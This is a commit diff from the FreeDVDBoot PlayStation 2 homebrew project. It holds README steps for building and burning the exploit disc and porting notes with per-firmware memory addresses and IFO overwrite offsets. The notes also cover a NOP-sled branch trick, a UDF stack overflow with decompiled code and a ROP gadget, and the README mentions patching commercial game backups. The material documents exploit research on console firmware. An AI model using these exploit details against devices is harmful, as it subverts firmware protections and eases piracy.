- Try unplugging your controller, and plugging it back in. Apparently [that solved the issue for this user](https://github.com/CTurt/FreeDVDBoot/issues/103).
|
||||
|
||||
- Try removing all memory cards. Apparently [that solved the issue for this user](https://github.com/CTurt/FreeDVDBoot/issues/3#issuecomment-651970564).
|
||||
|
||||
- Try burning with different software. Apparently [for this user](https://github.com/CTurt/FreeDVDBoot/issues/108) ImgBurn didn't work, but CDBurnerXP with 1x speed, compatibility settings, and finalize option worked.
|
||||
|
||||
- Check that your console's language is set to English.
|
||||
|
||||
**Please, only open a GitHub issue if you have read and tried all of the above. If you do open an issue, please confirm that you tried a real DVD movie and it worked on your system so that we know it's not just a laser failure; also include your DVD player version, the name of the ISO you tried, the type of DVD, and what happens when you launch the disc.**
|
||||
|
||||
## Phat consoles
|
||||
Phat consoles have many different firmware version revisions, which makes them harder to add support for. It also means you will need to identify your firmware version, and burn the matching ISO file.
|
||||
|
||||
It's still early in terms of support for different versions, check back here later. Hopefully over time other developers from the scene will also contribute support for additional DVD Player versions.
|
||||
|
||||
### Step 1: Identify your DVD Player Version
|
||||
Boot your PlayStation 2 without any disc inserted, and press Triangle to identify which DVD Player version your console has.
|
||||
|
||||
**Currently only support:**
|
||||
|
||||
- 3.03 (tested only region E in emulator as other BIOS versions aren't available to me, but guess other regions will work - with English language set in settings),
|
||||
- 3.04 (tested only region M in emulator so far, but guess most other regions EUMACDG, except for J will work - with English language set in settings),
|
||||
|
||||
### Step 2: Download the ISO
|
||||
Download the ISO that corresponds to your firmware version.
|
||||
|
||||
**Please don't bother trying on a non-supported firmware/language configuration, it won't work...**
|
||||
|
||||
For example, if your DVD Player version is 3.04M, you would want to burn `PREBUILT ISOs/3.04 only - M+maybe other regions except J - English language.iso`.
|
||||
|
||||
### Step 3, 4, 5 - Burn the ISO, set console language to English, and boot!
|
||||
These steps are the same as described for slim above.
|
||||
|
||||
## Custom disc setup
|
||||
If you intend to make your own image containing additional homebrew / modified initial loader, please read on.
|
||||
|
||||
### Step 1: Copy your homebrew
|
||||
Once you've identified your console's DVD Player version, copy all of the homebrew you would like to include on the disc into that directory in the `Filesystems` (EG: `Filesystems/All PS2 slims (3.10 + 3.11) - English language/` is the one that supports all slim consoles).
|
||||
|
||||
### Step 2: Make an image
|
||||
Once you've placed all the homebrew files you'd like into the directory, generate a UDF (ISO9960/UDF hybrid also works) image of the directory (so `VIDEO_TS` is in the root).
|
||||
|
||||
On Windows, you can use a GUI like ImgBurn to make an disc image. It will give a warning that `VIDEO_TS.BUP` is missing, but just click continue anyway (PS2 doesn't require this file).
|
||||
|
||||
On Linux the easiest way is probably to use `genisoimage` as it comes pre-installed on many Linux distributions like Ubuntu. Run the following on terminal (where `exploit.iso` is the output and `Filesystem/All PS2 slims (3.10 + 3.11) - English language` is the directory containing `VIDEO_TS` and any homebrew):
|
||||
|
||||
genisoimage -udf -o exploit.iso "Filesystems/All PS2 slims (3.10 + 3.11) - English language"
|
||||
|
||||
### Step 3: Test and burn
|
||||
I would recommend you test in PCSX2 first, but since [PCSX2 doesn't support loading the DVD Player](https://github.com/PCSX2/pcsx2/issues/1981), you have to decrypt and repack it yourself, which is beyond the scope of this README. With that said, if you aren't touching anything in `VIDEO_TS`, there shouldn't really be any reason for the exploit to fail.
|
||||
|
||||
## Replacing the initial program
|
||||
I've included uLaunchELF recompiled with [DVD support](https://github.com/ps2dev/ps2sdk/pull/130) as the default initial program. It presents a menu which allows you to select any of the homebrew programs you chose to include on the disc (and also allows booting from USB).
|
||||
|
||||
Alternatively, if you would rather just boot into a single homebrew application, the initial program the exploit attempts to boot is located at `VIDEO_TS/VTS_02_0.IFO`, replace it with your desired `ELF` file, with the below caveat that compatibility might be lower than if you booted a program through uLaunchELF:
|
||||
|
||||
For the initial release, I didn't bother to reimplement a couple of functions used by the loader, so it requires that the ELF you load doesn't overwrite those functions I use (those are around `0x84000 - 0x85fff` and `0x250000 - 0x29ffff`). I will probably remove this limitation in the future, but all ELFs I could find were fine with this limitation.
|
||||
|
||||
You can run `readelf -l` to verify your executable satisfies this requirement. For example, this Tetris homebrew just uses `0x00100000 - 0x0017a940`:
|
||||
|
||||
$ readelf -l VTS_02_0.IFO
|
||||
|
||||
Elf file type is EXEC (Executable file)
|
||||
Entry point 0x104490
|
||||
There is 1 program header, starting at offset 52
|
||||
|
||||
Program Headers:
|
||||
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
|
||||
LOAD 0x001000 0x00100000 0x00100000 0x72ef4 0x7a940 RWE 0x1000
|
||||
|
||||
Section to Segment mapping:
|
||||
Segment Sections...
|
||||
00 .text .ctors .dtors .rodata .data .jcr .sdata .sbss .bss
|
||||
|
||||
## Loading backups
|
||||
It's possible to patch backup images of commercial games to make them bootable using this exploit. I didn't want to maintain this tool, so it's not included in this repository, but can be found by searching for something like FreeDVDBoot ESR auto patcher.
|
||||
|
||||
## DEVELOPMENT: Replacing the loader payload
|
||||
The default payload will boot `VIDEO_TS/VTS_02_0.IFO` as an ELF file, but tweaks might be desired to improve compatibility, or maybe changing the behaviour to boot `BOOT.ELF` instead for instance.
|
||||
|
||||
If you wish to update the loader payload, run `build.sh` inside `PAYLOAD` directory, and copy the output `.bin` files into `VIDEO_TS/VIDEO_TS.IFO` at the offsets displayed by the output of the command.
|
||||
|
||||
## PORTING:
|
||||
Please read my technical writeup, to understand how the exploit works. I've also provided some notes about porting in the `porting notes.txt` file.
|
||||
12
index.html
Normal file
12
index.html
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
<html>
|
||||
<body>
|
||||
<ul>
|
||||
<li>
|
||||
<a href="https://cturt.github.io/freedvdboot.html">Technical writeup for initial exploit of firmware 3.10</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="portingnotes.html">Notes on reverse engineering and exploiting different DVD player firmwares</a>
|
||||
</li>
|
||||
</ul>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -40,7 +40,7 @@ tr:nth-child(even) {
|
|||
</tr>
|
||||
<tr>
|
||||
<th>getDiscData</th>
|
||||
<td></td>
|
||||
<td>0x243438</td>
|
||||
<td>0x23e150</td>
|
||||
<td>0x23e138</td>
|
||||
<td>0x25c9f0</td>
|
||||
|
|
@ -48,75 +48,75 @@ tr:nth-child(even) {
|
|||
</tr>
|
||||
<tr>
|
||||
<th>getDiscByte</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x243368</td>
|
||||
<td>0x23e080</td>
|
||||
<td>0x23e068</td>
|
||||
<td>0x25c920</td>
|
||||
<td>0x258ac8</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>currentDiscBytePointer</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x15f42a4</td>
|
||||
<td>0x1273ae4</td>
|
||||
<td>0x16ceee4</td>
|
||||
<td>0x1411fe4</td>
|
||||
<td>0x143b3e4</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>endDiscBytePointer</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x15f42a8</td>
|
||||
<td>0x1273ae8</td>
|
||||
<td>0x16ceee8</td>
|
||||
<td>0x1411fe8</td>
|
||||
<td>0x143b3e8</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>0xff * 3 * 8 overflow</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x241d0c</td>
|
||||
<td>0x23cb1c</td>
|
||||
<td>0x23cb04</td>
|
||||
<td>0x25b3bc</td>
|
||||
<td>0x257564</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>fpIndex</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x15f4b0a</td>
|
||||
<td>0x127434a</td>
|
||||
<td>0x16cf74a</td>
|
||||
<td>0x141284a</td>
|
||||
<td>0x143bc4a</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>fpArray</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x923d88</td>
|
||||
<td>0x6d4e68</td>
|
||||
<td>0x95ace8</td>
|
||||
<td>0x5b9d40</td>
|
||||
<td>0x3b3050</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>OOB call</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x0244E1C</td>
|
||||
<td>0x23fad4</td>
|
||||
<td>0x23faac</td>
|
||||
<td>0x25e388</td>
|
||||
<td>0x25ab44</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>getBufferInternal</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x262360</td>
|
||||
<td>0x261560</td>
|
||||
<td>0x261548</td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x2986a0</td>
|
||||
<td>0x2952f0</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>pointToIFO</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x2432c8</td>
|
||||
<td>0x23dfe0</td>
|
||||
<td>0x23dfc8</td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x25c880</td>
|
||||
<td>0x258a28</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>SifIopReboot</th>
|
||||
|
|
@ -128,113 +128,121 @@ tr:nth-child(even) {
|
|||
</tr>
|
||||
<tr>
|
||||
<th>SifInitRpc</th>
|
||||
<td></td>
|
||||
<td>0x2082a0</td>
|
||||
<td></td>
|
||||
<td>0x208260</td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x84180</td>
|
||||
<td>0x208d80</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>SifExitRpc</th>
|
||||
<td></td>
|
||||
<td>0x208440</td>
|
||||
<td></td>
|
||||
<td>0x208400</td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x84310</td>
|
||||
<td>0x208f20</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>SifIopReset</th>
|
||||
<td></td>
|
||||
<td>0x291fb8</td>
|
||||
<td></td>
|
||||
<td>0x291358</td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x84fe0</td>
|
||||
<td>0x20e7d8</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>SifIopSync</th>
|
||||
<td></td>
|
||||
<td>0x292138</td>
|
||||
<td></td>
|
||||
<td>0x2914d8</td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x85110</td>
|
||||
<td>0x20e958</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th style="text-align: center" colspan="6">Controlled memory ranges</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Destination of large copy</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x15ec890</td>
|
||||
<td>0x126d8d4</td>
|
||||
<td>0x16c8cd4</td>
|
||||
<td>0x140bdd4</td>
|
||||
<td>0x14351cc</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Destination + max size</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x176C878</td>
|
||||
<td>0x12AD8D0</td>
|
||||
<td>0x1848CBC</td>
|
||||
<td>0x158BDBC</td>
|
||||
<td>0x15B51B4</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Sector buffer (getDiscByteInternal)</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x16cad40</td>
|
||||
<td>0x140de40</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th style="text-align: center" colspan="6">Exploit values</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>currentDiscBytePointer value at overwrite</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x015f1008</td>
|
||||
<td>0x01273044</td>
|
||||
<td>0x016ce444</td>
|
||||
<td>0x01411544</td>
|
||||
<td>0x0143a94c</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Jump target</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x15ea540</td>
|
||||
<td>0x0126b7e0</td>
|
||||
<td>0x01800180</td>
|
||||
<td>0x01500014</td>
|
||||
<td>0x01500014</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Address of jump target</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x928D24</td>
|
||||
<td>0x6D9C3C</td>
|
||||
<td>0x95CF40</td>
|
||||
<td>0x5f1f38</td>
|
||||
<td>0x3EA438</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Intermediate jump location</th>
|
||||
<td></td>
|
||||
<td>0x012811E4</td>
|
||||
<td>Not required</td>
|
||||
<td>Not required</td>
|
||||
<td>Not required</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Intermediate jump target</th>
|
||||
<td></td>
|
||||
<td>0x01281340</td>
|
||||
<td>Not required</td>
|
||||
<td>Not required</td>
|
||||
<td>Not required</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th style="text-align: center" colspan="6">IFO offsets</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>currentDiscBytePointer</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x2744</td>
|
||||
<td>0x2744</td>
|
||||
<td>0x277c</td>
|
||||
<td>0x1c6c (4 bytes)</td>
|
||||
<td>0x2744 (2 bytes), 0x2c26 (2 bytes)</td>
|
||||
<td>0x2744 ()</td>
|
||||
<td>0x2744 (4 bytes)</td>
|
||||
<td>0x277c (4 bytes)</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>fpIndex</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x24D2</td>
|
||||
<td>0x29ea</td>
|
||||
<td>0x2faa</td>
|
||||
<td>0x2faa</td>
|
||||
<td>0x2fe2</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Payload</th>
|
||||
<td></td>
|
||||
<td></td>
|
||||
<td>0x0e8c</td>
|
||||
<td>0x2880</td>
|
||||
<td>0x2d00</td>
|
||||
<td>0x2bb4</td>
|
||||
<td>0x2954</td>
|
||||
|
|
@ -243,6 +251,34 @@ tr:nth-child(even) {
|
|||
|
||||
<br>
|
||||
|
||||
<h2>3.03</h2>
|
||||
<p>
|
||||
3.03 has a couple of additional tricks going on. There are no jump targets which lie within our controlled range from any buffer overflows, however the jump target 0x15ea540 is very close to the beginning of our IFO file contents (0x15ea620).
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The memory between the jump target and the start of the IFO (0x15ea540 - 0x15ea620) is all zeroes, so that's just a NOP-sled. Then the IFO header "DVDVIDEO-VMG" turns out to decode to a conditional relative branch which not only happens to be taken, but also jumps to fully controlled contents later in the IFO:
|
||||
</p>
|
||||
|
||||
<pre><code>bnel s2,a0,pos_015FFF34</code></pre>
|
||||
|
||||
<br>
|
||||
|
||||
<p>
|
||||
In addition, that jump target does not fall within language data, so the 3.03 exploit supports all languages, not just English!
|
||||
</p>
|
||||
|
||||
<br>
|
||||
|
||||
<h2>Testing</h2>
|
||||
<ul>
|
||||
<li>3.03 has only been tested in region E - other regions need dumping and testing,</li>
|
||||
<li>3.04 only region M and J are repacked - they are both different, other regions need dumping and testing,</li>
|
||||
<li>3.10 and 3.11 have both been tested on all regions and work the same,</li>
|
||||
</ul>
|
||||
|
||||
<br>
|
||||
|
||||
<h2>Conflicts</h2>
|
||||
<p>
|
||||
In order to merge 2 exploits into a single ISO there must be either:
|
||||
|
|
@ -250,28 +286,13 @@ tr:nth-child(even) {
|
|||
|
||||
<ul>
|
||||
<li>No conflict between offset of currentDiscBytePointer corruption value in IFO file so that the two versions can specify different addresses (3.10 and 3.11),</li>
|
||||
<li>Controlled memory at a common address between the two versions so that currentDiscBytePointer can be written to controlled memory region for both (3.04J and 3.04M),</li>
|
||||
<li>Controlled memory at a common address between the two versions so that currentDiscBytePointer can be written to controlled memory region for both (3.04J and 3.10),</li>
|
||||
</ul>
|
||||
|
||||
<p>
|
||||
We might also be able to force a non-conflict between 2 versions by making use of 2 different buffer overflows. That would need to be experimented with. Until then, here is a table for the versions with conflicting currentDiscBytePointer IFO offsets which we would need to be common controlled memory regions for:
|
||||
It's more complicated than that, because the currentDiscBytePointer is overwritten byte-by-byte.
|
||||
</p>
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<th></th>
|
||||
<th>Common controlled memory</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>3.04 + 3.10</th>
|
||||
<td>Couldn't find any</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>3.04J + 3.04M</th>
|
||||
<td></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<br>
|
||||
|
||||
<h1>< 3.03</h1>
|
||||
|
|
@ -344,5 +365,157 @@ tr:nth-child(even) {
|
|||
|
||||
<br>
|
||||
|
||||
<h2>UDF vulnerabilities</h2>
|
||||
<p>
|
||||
The IFO buffer overflows are really easy to find as the IFO parsing is the first thing the DVD player does on EE side. We'll probably want to reverse engineer deeper into things like the actual video decoding, etc, in order to see if more easily exploitable bugs are available; for that, I hope others will help collaborate and share notes.
|
||||
</p>
|
||||
|
||||
<br>
|
||||
|
||||
<h2 id="readPartitionTables">readPartitionTables stack buffer overflow - Found by ElReino</h2>
|
||||
<p>
|
||||
This is a stack buffer overflow occuring in UDFIO IOP processor module. From 2.10E, at 0xb37e4:
|
||||
</p>
|
||||
|
||||
<pre><code> memcpy(&lengthOfExtendedAttributes,DescriptorBuf + 0xa8,4);
|
||||
memcpy(&lengthOfAllocationDescriptors,DescriptorBuf + 0xac,4);
|
||||
memset(&AllocationDescriptors,0,8);
|
||||
memcpy(&AllocationDescriptors,DescriptorBuf + lengthOfExtendedAttributes + 0xb0,
|
||||
lengthOfAllocationDescriptors);</code></pre>
|
||||
|
||||
<br>
|
||||
|
||||
<p>
|
||||
Interestingly, this was actually patched by Sony in firmware 2.14! We see it just uses fixed size of 8 bytes:
|
||||
</p>
|
||||
|
||||
<pre><code> memcpy(local_20,0x5ab8,4);
|
||||
memcpy(auStack36,0x5abc,4);
|
||||
memset(&local_18,0,8);
|
||||
memcpy(&local_18,(int)&PTR_DAT_00005ac0 + local_20[0],8);
|
||||
</code></pre>
|
||||
|
||||
<br>
|
||||
|
||||
<p>
|
||||
To find the vulnerability in an IOP memory dump, search for this instruction sequence:
|
||||
</p>
|
||||
|
||||
<pre><code>08 00 06 24 _li param_3,0x8</code></pre>
|
||||
|
||||
<br>
|
||||
|
||||
<p>
|
||||
Until you get one that matches the memcpy/memset pattern shown above in the decompiler view.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
If you are paranoid about cache, there's a really nice ROP gadget in the sound module. To find where the FlushDCache function is in your BIOS, run an IOP RAM dump through <a href="https://gist.github.com/CTurt/6eecc155e2b545a58bad9a65e866b4ab">this code</a>. Then look for calls to that function to find a nice ROP gadget, for 2.10 it's at 0x57f1c:
|
||||
</p>
|
||||
|
||||
|
||||
<pre><code> 00057f1c 3e 67 01 0c jal FlushDCacheWrapper
|
||||
00057f20 00 00 00 00 _nop
|
||||
00057f24 18 00 bf 8f lw ra,local_8(sp)
|
||||
00057f28 14 00 b1 8f lw s1,local_c(sp)
|
||||
00057f2c 10 00 b0 8f lw s0,local_10(sp)
|
||||
00057f30 01 00 02 24 li v0,0x1
|
||||
00057f34 08 00 e0 03 jr ra
|
||||
00057f38 20 00 bd 27 _addiu sp,sp,0x20</code></pre>
|
||||
|
||||
<br>
|
||||
|
||||
<p>
|
||||
This will be our initial corrupted return address, then we'll jump to the uncached virtual address of the actual IOP payload entry-point, and first thing will be undoing the corruption from this ROP gadget (sub 0x20 from sp and restore s0/s1). The IOP payload loads a second IOP payload, which loads an ELF into EE RAM, then redirects return address on EE stack and IOP returns gracefully (which resumes EE and triggers EE payload).
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Table of addresses for completed ports below. It should be possible to port to all versions from 1.00 - 2.13:
|
||||
<p>
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<th>Symbol</th>
|
||||
<th>2.10</th>
|
||||
<th>2.12</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>memcpy overflow</th>
|
||||
<td>0xb37e4</td>
|
||||
<td>0xb37e8</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>copy destination</th>
|
||||
<td>0x01F6268</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>return address location</th>
|
||||
<td>0x1f62ac</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>jump to return address</th>
|
||||
<td>0xB3BF0</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>stage 1 address</th>
|
||||
<td>0x1f62b0</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Flush D Cache IOP</th>
|
||||
<td>0x0003044</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Flush I Cache IOP</th>
|
||||
<td>0x00002f40</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Flush D Cache IOP caller (initial jump address)</th>
|
||||
<td>0x57f1c</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Return address in ISO</th>
|
||||
<td>0x00818f4</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>Second return address in ISO</th>
|
||||
<td>0x0081910</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<br>
|
||||
|
||||
<h2 id="readSectorsOverflow">readSectors buffer overflow</h2>
|
||||
<p>
|
||||
In 2.14, Sony removed the bounds check on sizes passed to readSectors, so we can reach the following with controlled sectorCount:
|
||||
</p>
|
||||
|
||||
<pre><code>0xb31bc:
|
||||
|
||||
iVar1 = readSectors(sectorCount,sectorNumber,0xb6c40);</code></pre>
|
||||
|
||||
<br>
|
||||
|
||||
<p>
|
||||
In PCSX2 emulator, we can exploit this bug by overflowing into the stack (you can just spam payload addresses like 0xa00c0000 to that massive range of controlled memory and it will jump to it).
|
||||
</p>
|
||||
|
||||
<p>
|
||||
I was super excited by this, and started writing a nice exploit for 2.14+, but then krHacken burned the disc and found out that it isn't accepted by mechacon as a valid DVD Video, so we can't trigger this bug on the hardware. This makes sense; the change was too random to have been a security regression, especially as 2.14 was a release that fixed the readPartitionTables bug, otherwise it would have seemed too much like a backdoor lol
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
2.13
|
||||
|
||||
bug 0xb33fc
|
||||
ret 0xb37c4
|
||||
Loading…
Add table
Reference in a new issue